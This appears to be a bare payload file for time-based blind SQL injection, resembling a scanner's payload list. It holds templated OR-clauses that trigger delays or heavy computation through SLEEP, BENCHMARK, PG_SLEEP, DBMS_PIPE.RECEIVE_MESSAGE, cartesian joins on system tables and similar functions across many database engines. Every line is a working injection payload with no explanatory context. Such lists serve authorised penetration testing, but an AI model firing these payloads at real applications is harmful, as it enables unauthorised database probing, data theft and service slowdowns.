OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
OR SLEEP([SLEEPTIME])
OR [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))
OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)
OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
OR [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
OR [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
OR [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)
OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)
OR [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
OR [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)
OR [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3)
OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL)
OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)
OR [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)
OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000))
